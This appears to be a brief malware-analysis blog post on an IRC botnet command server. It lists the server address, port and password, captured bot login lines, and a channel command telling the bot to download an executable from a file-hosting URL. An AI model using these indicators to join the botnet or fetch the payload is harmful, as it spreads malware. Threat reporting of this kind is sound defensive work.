77.235.59.223(irc botnet hosted in Netherlands Amsterdam Eurovps)

Remote Host Port Number
195.122.131.16 80
77.235.59.223 4042 PASS google_cache2.tmp

NICK n[USA|XP]248794
USER 1258 “” “TsGh” :1258
JOIN #cash# abc
PONG 422
PRIVMSG #cash# :[Download]: Downloading File From: http://rapidshare.com/files/3610997420/up5.exe, To: C:Documents and SettingsUserNameApplication Dataqghumeaylnlfdxfircvs85.exe
PRIVMSG #cash# :[Download]: Failed To Download File Reason: Unknown

* The data identified by the following URL was then requested from the remote web server:
o http://rapidshare.com/files/3610997420/up5.exe

hosting infos:
http://whois.domaintools.com/77.235.59.223

Categories: Uncategorized